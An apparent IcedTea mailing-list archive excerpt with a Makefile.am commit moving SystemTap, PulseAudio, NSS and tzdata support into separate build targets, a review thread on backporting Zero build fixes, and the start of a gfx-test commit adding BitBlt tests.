New target to add alternate timezone data support to the boot build. (clean-add-tzdata-support-boot): Remove alternate timezone data support from the boot build. (icedtea-stage1): Add new add-x-boot targets. (clean-icedtea-stage1): Add new clean-add-x-boot targets. diffstat: ChangeLog | 65 +++++++++++++ Makefile.am | 281 +++++++++++++++++++++++++++++++++++++++++++++++------------ 2 files changed, 287 insertions(+), 59 deletions(-) diffs (465 lines): diff -r ff15cee90ed8 -r 1a8e93b7fe96 ChangeLog --- a/ChangeLog Tue Dec 04 11:00:41 2012 +0000 +++ b/ChangeLog Wed Dec 19 18:38:08 2012 +0000 @@ -1,3 +1,68 @@ +2010-09-24 Andrew John Hughes + + * Makefile.am: + (.PHONY): Add new clean targets. Fix name. + (add-systemtap-boot): Add SystemTap support to the boot build. + (clean-add-systemtap-boot): Remove SystemTap support from the boot build. + (add-pulseaudio-boot): New target to add PulseAudio support to the boot build. + (clean-add-pulseaudio-boot): Remove PulseAudio support from the boot build. + (add-nss-boot): New target to add NSS support to the boot build. + (clean-add-nss-boot): Remove NSS support from the boot build. + (add-tzdata-support-boot): New target to add alternate timezone data support to the boot build. + (clean-add-tzdata-support-boot): Remove alternate timezone data support from the boot build. + (icedtea-stage1): Add new add-x-boot targets. + (clean-icedtea-stage1): Add new clean-add-x-boot targets. + +2010-09-23 Andrew John Hughes + + * Makefile.am: + (.PHONY): Add clean-add-nss, clean-add-nss-debug, + clean-add-tzdata-support and clean-add-tzdata-support-debug. + (clean-local): Likewise. + (icedtea): Remove NSS and tzdata support. + (add-nss): New target to add NSS support to the build. + (clean-add-nss): Remove NSS support from the build. + (add-tzdata-support): New target to add alternate timezone data support to the build. + (clean-add-tzdata-support): Remove alternate timezone data support from the build. + (icedtea-debug): Remove NSS and tzdata support. + (add-nss-debug): Likewise for debug. + (clean-add-nss-debug): Likewise for debug. + (add-tzdata-support-debug): Likewise for debug. + (clean-add-tzdata-support-debug): Likewise for debug. + (icedtea-stage2): Depend on add-nss and add-tzdata-support. + (icedtea-debug-stage2): Depend on add-nss-debug and add-tzdata-support-debug. + +2010-09-23 Andrew John Hughes + + * Makefile.am: + (.PHONY): Add clean-add-pulseaudio and + clean-add-pulseaudio-debug. + (clean-local): Likewise. + (icedtea): Remove pulse-java support and dependency. + (add-pulseaudio): New target to add PulseAudio support to the build. + (clean-add-pulseaudio): Remove PulseAudio support from the build. + (icedtea-debug): Remove pulse-java support and dependency. + (add-pulseaudio-debug): Likewise for debug. + (clean-add-pulseaudio-debug): Likewise for debug. + (icedtea-stage2): Depend on add-pulseaudio. + (icedtea-debug-stage2): Depend on add-pulseaudio-debug. + +2010-09-22 Andrew John Hughes + + Move SystemTap support to a separate target. + * Makefile.am: + (.PHONY): Add clean-add-systemtap and + clean-add-systemtap-debug. + (clean-local): Likewise. + (icedtea): Remove systemtap support. + (icedtea-debug): Likewise. + (icedtea-stage2): Depend on add-systemtap. + (icedtea-debug-stage2): Depend on add-systemtap-debug. + (add-systemtap): New target to add SystemTap support to the build. + (add-systemtap-debug): Likewise for debug. + (clean-add-systemtap): Remove SystemTap support from the build. + (clean-add-systemtap-debug): Likewise for debug. + 2012-12-04 Andrew John Hughes * patches/boot/ecj-opts.patch: diff -r ff15cee90ed8 -r 1a8e93b7fe96 Makefile.am --- a/Makefile.am Tue Dec 04 11:00:41 2012 +0000 +++ b/Makefile.am Wed Dec 19 18:38:08 2012 +0000 @@ -790,7 +790,9 @@ clean-bootstrap-directory-symlink-stage1 clean-bootstrap-directory-symlink-stage2 \ clean-extract clean-generated clean-native-ecj clean-hgforest clean-icedtea-stage2 \ clean-icedtea-debug-stage2 clean-icedtea-stage1 clean-add-zero clean-add-zero-debug \ - clean-add-cacao clean-add-cacao-debug clean-rt clean-rewrite-rhino clean-rewriter + clean-add-cacao clean-add-cacao-debug clean-rt clean-rewrite-rhino clean-rewriter \ + clean-add-systemtap clean-add-systemtap-debug clean-add-pulseaudio clean-add-pulseaudio-debug \ + clean-add-nss clean-add-nss-debug clean-add-tzdata-support clean-add-tzdata-support-debug if [ -e bootstrap ]; then \ rmdir bootstrap ; \ fi @@ -820,7 +822,10 @@ jtregcheck clean-remove-intree-libraries \ clean-jamvm clean-extract-jamvm clean-add-jamvm clean-add-jamvm-debug \ clean-extract-hotspot clean-sanitise-openjdk \ - clean-tests clean-tapset-report + clean-tests clean-tapset-report clean-add-systemtap \ + clean-add-systemtap-debug clean-add-pulseaudio clean-add-pulseaudio-debug \ + clean-add-nss clean-add-nss-debug clean-add-tzdata-support clean-add-tzdata-support-debug \ + clean-add-systemtap-boot clean-add-pulseaudio-boot clean-add-nss-boot clean-add-tzdata-support-boot env: @echo 'unset JAVA_HOME' @@ -1688,8 +1693,7 @@ # you change it in the icedtea-debug target as well. stamps/icedtea.stamp: stamps/bootstrap-directory-symlink-stage2.stamp \ stamps/download.stamp stamps/extract.stamp $(OPENJDK_TREE) \ - stamps/cacao.stamp $(PULSE_JAVA_TARGET) stamps/rewrite-rhino.stamp \ - stamps/jamvm.stamp + stamps/cacao.stamp stamps/rewrite-rhino.stamp stamps/jamvm.stamp $(ARCH_PREFIX) $(MAKE) -j1 \ $(ICEDTEA_ENV) \ -C openjdk/ \ @@ -1699,18 +1703,6 @@ mkdir -p $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) mkdir -p $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext mkdir -p $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext -if ENABLE_PULSE_JAVA - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) - cp -pPRf pulse-java.jar \ - $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext - cp -pPRf pulse-java.jar \ - $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext - (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ - $(ZIP) -qur $(BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) -endif if ZERO_BUILD printf -- '-zero ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg endif @@ -1720,6 +1712,14 @@ if ENABLE_CACAO printf -- '-cacao ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg endif +if ENABLE_JAMVM + printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg +endif + @echo "IcedTea is served:" $(BUILD_OUTPUT_DIR) + mkdir -p stamps + touch $@ + +stamps/add-systemtap.stamp: stamps/icedtea.stamp if ENABLE_SYSTEMTAP mkdir -p $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset ; \ grep "client IGNORE" $(BUILD_JRE_ARCH_DIR)/jvm.cfg; \ @@ -1744,23 +1744,58 @@ cp $(abs_top_builddir)/tapset/jstack.stp \ $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset/jstack.stp endif + touch stamps/add-systemtap.stamp + +clean-add-systemtap: + rm -rf $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset + rm -f stamps/add-systemtap.stamp + +stamps/add-pulseaudio.stamp: stamps/icedtea.stamp $(PULSE_JAVA_TARGET) +if ENABLE_PULSE_JAVA + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) + cp -pPRf pulse-java.jar \ + $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext + cp -pPRf pulse-java.jar \ + $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext + (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ + $(ZIP) -qur $(BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) +endif + touch stamps/add-pulseaudio.stamp + +# Note: for simplicity, we don't revert the update of src.zip +clean-add-pulseaudio: + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext/pulse-java.jar + rm -f $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext/pulse-java.jar + rm -f stamps/add-pulseaudio.stamp + +stamps/add-nss.stamp: stamps/icedtea.stamp cp $(abs_top_builddir)/nss.cfg \ $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security; + touch stamps/add-nss.stamp + +clean-add-nss: + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security/nss.cfg + rm -f stamps/add-nss.stamp + +stamps/add-tzdata-support.stamp: stamps/icedtea.stamp if WITH_TZDATA_DIR cp $(abs_top_builddir)/tz.properties \ $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib; endif -if ENABLE_JAMVM - printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg -endif - @echo "IcedTea is served:" $(BUILD_OUTPUT_DIR) - mkdir -p stamps - touch $@ + touch stamps/add-tzdata-support.stamp + +clean-add-tzdata-support: + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties + rm -f stamps/add-tzdata-support.stamp stamps/icedtea-debug.stamp: stamps/bootstrap-directory-symlink-stage2.stamp \ stamps/download.stamp stamps/extract.stamp $(OPENJDK_TREE) \ - stamps/cacao.stamp $(PULSE_JAVA_TARGET) stamps/rewrite-rhino.stamp \ - stamps/jamvm.stamp + stamps/cacao.stamp stamps/rewrite-rhino.stamp stamps/jamvm.stamp $(ARCH_PREFIX) $(MAKE) -j1 \ $(ICEDTEA_ENV) \ -C openjdk/ \ @@ -1770,18 +1805,6 @@ mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext -if ENABLE_PULSE_JAVA - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) - cp -pPRf pulse-java.jar \ - $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext - cp -pPRf pulse-java.jar \ - $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext - (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ - $(ZIP) -qur $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) -endif if ZERO_BUILD printf -- '-zero ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg endif @@ -1791,6 +1814,19 @@ if ENABLE_CACAO printf -- '-cacao ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg endif +if ENABLE_JAMVM + printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg +endif + @echo "IcedTea (debug build) is served:" \ + $(DEBUG_BUILD_OUTPUT_DIR) + mkdir -p stamps + touch $@ + +clean-icedtea: + rm -rf $(BUILD_OUTPUT_DIR) + rm -f stamps/icedtea.stamp stamps/icedtea-debug.stamp + +stamps/add-systemtap-debug.stamp: stamps/icedtea-debug.stamp if ENABLE_SYSTEMTAP mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset ; \ grep "client IGNORE" $(BUILD_JRE_ARCH_DIR)/jvm.cfg; \ @@ -1815,26 +1851,58 @@ cp $(abs_top_builddir)/tapset/jstack.stp \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/jstack.stp endif + touch stamps/add-systemtap-debug.stamp + +clean-add-systemtap-debug: + rm -rf $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset + rm -f stamps/add-systemtap-debug.stamp + +stamps/add-pulseaudio-debug.stamp: stamps/icedtea-debug.stamp $(PULSE_JAVA_TARGET) +if ENABLE_PULSE_JAVA + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) + cp -pPRf pulse-java.jar \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext + cp -pPRf pulse-java.jar \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext + (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ + $(ZIP) -qur $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) +endif + touch stamps/add-pulseaudio-debug.stamp + +# Note: for simplicity, we don't revert the update of src.zip +clean-add-pulseaudio-debug: + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext/pulse-java.jar + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext/pulse-java.jar + rm -f stamps/add-pulseaudio-debug.stamp + +stamps/add-nss-debug.stamp: stamps/icedtea-debug.stamp cp $(abs_top_builddir)/nss.cfg \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security; + touch stamps/add-nss-debug.stamp + +clean-add-nss-debug: + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security/nss.cfg + rm -f stamps/add-nss-debug.stamp + +stamps/add-tzdata-support-debug.stamp: stamps/icedtea-debug.stamp if WITH_TZDATA_DIR cp $(abs_top_builddir)/tz.properties \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib; endif -if ENABLE_JAMVM - printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg -endif - @echo "IcedTea (debug build) is served:" \ - $(DEBUG_BUILD_OUTPUT_DIR) - mkdir -p stamps - touch $@ + touch stamps/add-tzdata-support-debug.stamp -clean-icedtea: - rm -rf $(BUILD_OUTPUT_DIR) - rm -f stamps/icedtea.stamp stamps/icedtea-debug.stamp +clean-add-tzdata-support-debug: + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties + rm -f stamps/add-tzdata-support-debug.stamp stamps/icedtea-stage2.stamp: stamps/icedtea.stamp stamps/add-cacao.stamp \ - stamps/add-zero.stamp stamps/add-jamvm.stamp + stamps/add-zero.stamp stamps/add-jamvm.stamp stamps/add-systemtap.stamp \ + stamps/add-pulseaudio.stamp stamps/add-nss.stamp stamps/add-tzdata-support.stamp mkdir -p stamps touch $@ @@ -1842,7 +1910,9 @@ rm -f stamps/icedtea-stage2.stamp stamps/icedtea-debug-stage2.stamp: stamps/icedtea-debug.stamp \ - stamps/add-cacao-debug.stamp stamps/add-zero-debug.stamp stamps/add-jamvm-debug.stamp + stamps/add-cacao-debug.stamp stamps/add-zero-debug.stamp stamps/add-jamvm-debug.stamp \ + stamps/add-systemtap-debug.stamp stamps/add-pulseaudio-debug.stamp \ + stamps/add-nss-debug.stamp stamps/add/tzdata-support-debug.stamp mkdir -p stamps touch $@ @@ -1865,6 +1935,94 @@ mkdir -p stamps touch $@ +clean-icedtea-boot: + rm -rf $(BOOT_BUILD_OUTPUT_DIR) + rm -f stamps/icedtea-boot.stamp + +stamps/add-systemtap-boot.stamp: stamps/icedtea-boot.stamp +if ENABLE_SYSTEMTAP + mkdir -p $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset ; \ + grep "client IGNORE" $(BUILD_JRE_ARCH_DIR)/jvm.cfg; \ + if test $$? -eq 0; then \ + sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot.stp \ + > $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ + sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot_jni.stp \ + > $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ + sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot_gc.stp \ + > $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ + else \ + cp $(abs_top_builddir)/tapset/hotspot.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ + cp $(abs_top_builddir)/tapset/hotspot_jni.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ + cp $(abs_top_builddir)/tapset/hotspot_gc.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ + fi; \ + cp $(abs_top_builddir)/tapset/jstack.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/jstack.stp +endif + touch stamps/add-systemtap-boot.stamp + +clean-add-systemtap-boot: + rm -rf $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset + rm -f stamps/add-systemtap-boot.stamp + +stamps/add-pulseaudio-boot.stamp: stamps/icedtea-boot.stamp $(PULSE_JAVA_TARGET) +if ENABLE_PULSE_JAVA + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) + cp -pPRf pulse-java.jar \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext + cp -pPRf pulse-java.jar \ + $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/ext + (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ + $(ZIP) -qur $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) +endif + touch stamps/add-pulseaudio-boot.stamp + +# Note: for simplicity, we don't revert the update of src.zip +clean-add-pulseaudio-boot: + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext/pulse-java.jar + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/ext/pulse-java.jar + rm -f stamps/add-pulseaudio-boot.stamp + +stamps/add-nss-boot.stamp: stamps/icedtea-boot.stamp + cp $(abs_top_builddir)/nss.cfg \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security; + touch stamps/add-nss-boot.stamp + +clean-add-nss-boot: + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security/nss.cfg + rm -f stamps/add-nss-boot.stamp + +stamps/add-tzdata-support-boot.stamp: stamps/icedtea-boot.stamp +if WITH_TZDATA_DIR + cp $(abs_top_builddir)/tz.properties \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib; +endif + touch stamps/add-tzdata-support-boot.stamp + +clean-add-tzdata-support-boot: + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties + rm -f stamps/add-tzdata-support-boot.stamp + +stamps/icedtea-stage1.stamp: stamps/icedtea-boot.stamp \ + stamps/add-systemtap-boot.stamp stamps/add-pulseaudio-boot.stamp \ + stamps/add-nss-boot.stamp stamps/add-tzdata-support-boot.stamp + mkdir -p stamps + touch $@ + +clean-icedtea-stage1: clean-add-systemtap-boot clean-add-pulseaudio-boot \ + clean-add-nss-boot clean-add-tzdata-support-boot + rm -f stamps/icedtea-stage1.stamp + # Rebuild targets rebuild: @@ -1901,17 +2059,6 @@ @echo "HotSpot is served:" $(BUILD_OUTPUT_DIR)/j2sdk-image endif -clean-icedtea-boot: - rm -rf $(BOOT_BUILD_OUTPUT_DIR) - rm -f stamps/icedtea-boot.stamp - -stamps/icedtea-stage1.stamp: stamps/icedtea-boot.stamp - mkdir -p stamps - touch $@ - -clean-icedtea-stage1: - rm -f stamps/icedtea-stage1.stamp - # PulseAudio based mixer # (pulse-java) if ENABLE_PULSE_JAVA @@ -2439,6 +2586,22 @@ # Target Aliases # =============== +add-nss: stamps/add-nss.stamp + +add-nss-debug: stamps/add-nss-debug.stamp + +add-pulseaudio: stamps/add-pulseaudio.stamp + +add-pulseaudio-debug: stamps/add-pulseaudio-debug.stamp + +add-systemtap: stamps/add-systemtap.stamp + +add-systemtap-debug: stamps/add-systemtap-debug.stamp + +add-tzdata-support: stamps/add-tzdata-support.stamp + +add-tzdata-support-debug: stamps/add-tzdata-support-debug.stamp + add-zero: stamps/add-zero.stamp add-zero-debug: stamps/add-zero-debug.stamp From ChrisPhi at LGonQn.Org Wed Dec 19 11:13:16 2012 From: ChrisPhi at LGonQn.Org (Chris Phillips @ T O) Date: Wed, 19 Dec 2012 14:13:16 -0500 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <1355937077.1746.55.camel@mercury> References: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> <1355937077.1746.55.camel@mercury> Message-ID: <50D211CC.5010303@LGonQn.Org> Hi I already have a patch that targets the current jdk7u-dev head. I'm still testing tho so didn't submit it there yet. Its slightly different than icedtea7 head. Chris Webrev is here: http://integral-portal.lgonqn.org/temp/ChrisPhi/jdk7u-dev-zero-hs24b25++/ On 19/12/12 12:11 PM, Roman Kennke wrote: > Am Mittwoch, den 19.12.2012, 12:01 -0500 schrieb Andrew Hughes: >> ----- Original Message ----- >>> Hi Andrew >>> >>> >>> >>> >>> On 19/12/12 09:16 AM, Andrew Hughes wrote: >>>> ----- Original Message ----- >>>>> Attached patch is a backport of Roman's jdk8 fixes to >>>>> Icedtea7-head. >>>>> >>>>> Please review. >>>>> >>>>> Cheers! >>>>> Chris >>>>> >>>>> PS >>>>> Webrev is here: >>>>> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ >>>>> >>>>> >>>>> >>>> Is this upstream? If so, what bug ID(s) does it include? I see >>>> none in the webrev. >>> Sorry, >>> Yes its a backport of Roman's fix for 8000780 : "make Zero build and >>> run >>> with JDK8" >>> which was putback by twisti at the end of October. Its nearly >>> identical >>> except for >>> the need to backout the Permgen Removal stuff. >>> >> Ah, thanks! Do you know what the route is for getting it into 7u? Do >> we need to suggest it or will they just pull it in with a bulk HotSpot update? > I would guess that we need to suggest it, and I also think that this is > our plan. However, it sortof depends on another big change that needs to > go into 7up first, Twisti already proposed it, but I think it got stuck. > > Roman > > From rkennke at redhat.com Wed Dec 19 12:41:48 2012 From: rkennke at redhat.com (Roman Kennke) Date: Wed, 19 Dec 2012 21:41:48 +0100 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D11601.9010108@RedHat.Com> References: <50D11601.9010108@RedHat.Com> Message-ID: <1355949708.1746.75.camel@mercury> Am Dienstag, den 18.12.2012, 20:18 -0500 schrieb Chris Phillips: > Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. > > Please review. It looks good to me. Some little comments: --- old/make/Makefile 2012-12-13 09:16:51.027908161 -0500 +++ new/make/Makefile 2012-12-13 09:16:50.887903544 -0500 @@ -402,14 +402,30 @@ ifeq ($(JVM_VARIANT_ZEROSHARK), true) $(EXPORT_JRE_LIB_ARCH_DIR)/%.$(LIBRARY_SUFFIX): $(SHARK_DIR)/%.$(LIBRARY_SUFFIX) $(install-file) + $(EXPORT_JRE_LIB_ARCH_DIR)/%.debuginfo): Here's one one closing parenthesis too much ^ It means builds with expanded debuginfo will not work. This was my mistake, and it even slipped through to upstream jdk8. (A fix is on its way...) --- old/src/cpu/zero/vm/relocInfo_zero.cpp 2012-12-13 09:16:54.884035322 -0500 +++ new/src/cpu/zero/vm/relocInfo_zero.cpp 2012-12-13 09:16:54.775031727 -0500 @@ -77,3 +77,7 @@ CodeBuffer* dst) { ShouldNotCallThis(); } +// +//void metadata_Relocation::pd_fix_value(address x) { +// ShouldNotCallThis(); +//} There's no reason to add commented-out code. (Was that in my original patch? I hope not..) Other than that, it looks good to me! Cheers, Roman From ptisnovs at icedtea.classpath.org Thu Dec 20 04:09:54 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 20 Dec 2012 12:09:54 +0000 Subject: /hg/gfx-test: Added another set of tests into src/org/gfxtest/te... Message-ID: changeset 5f978c925a36 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=5f978c925a36 author: Pavel Tisnovsky date: Thu Dec 20 13:12:54 2012 +0100 Added another set of tests into src/org/gfxtest/testsuites/BitBltBasicTests.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/BitBltBasicTests.java | 181 +++++++++++++++++++++++ 2 files changed, 186 insertions(+), 0 deletions(-) diffs (203 lines): diff -r e7ebb5543c97 -r 5f978c925a36 ChangeLog --- a/ChangeLog Wed Dec 19 10:58:55 2012 +0100 +++ b/ChangeLog Thu Dec 20 13:12:54 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-20 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltBasicTests.java: + Added another set of tests. + 2012-12-19 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltBasicTests.java: diff -r e7ebb5543c97 -r 5f978c925a36 src/org/gfxtest/testsuites/BitBltBasicTests.java --- a/src/org/gfxtest/testsuites/BitBltBasicTests.java Wed Dec 19 10:58:55 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltBasicTests.java Thu Dec 20 13:12:54 2012 +0100 @@ -2256,6 +2256,187 @@ * graphics canvas * @return test result status - PASSED, FAILED or ERROR */ + public TestResult testBitBltColorDotsImageTypeByteBinary(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_BYTE_BINARY); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntRGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_RGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_BGR); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_ARGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntARGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_ARGB_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntARGB_Pre(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB_PRE); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_4BYTE_ABGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageType4ByteABGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic 